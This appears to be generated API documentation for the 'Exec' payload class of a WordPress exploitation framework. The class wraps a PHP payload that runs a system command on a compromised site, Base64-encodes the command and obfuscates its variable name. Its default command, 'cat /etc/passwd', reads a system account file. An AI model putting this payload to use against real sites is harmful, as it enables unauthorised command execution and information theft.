class Wpxf::Payloads::Exec
Executes a system command and returns the output.
Public Class Methods
new()
click to toggle source
Calls superclass method
Wpxf::Options::new
# File lib/wpxf/payloads/exec.rb, line 11 def initialize super register_options([ StringOption.new( name: 'cmd', required: true, default: 'cat /etc/passwd', desc: 'Command to run' ) ]) end
Public Instance Methods
constants()
click to toggle source
# File lib/wpxf/payloads/exec.rb, line 28 def constants { 'cmd' => encoded_cmd } end
encoded_cmd()
click to toggle source
# File lib/wpxf/payloads/exec.rb, line 24 def encoded_cmd Base64.strict_encode64(datastore['cmd']) end
obfuscated_variables()
click to toggle source
Calls superclass method
Wpxf::Payload#obfuscated_variables
# File lib/wpxf/payloads/exec.rb, line 34 def obfuscated_variables super + ['cmd'] end
raw()
click to toggle source
# File lib/wpxf/payloads/exec.rb, line 38 def raw "#{DataFile.new('php', 'exec_methods.php').php_content}"\ "#{DataFile.new('php', 'exec.php').php_content}" end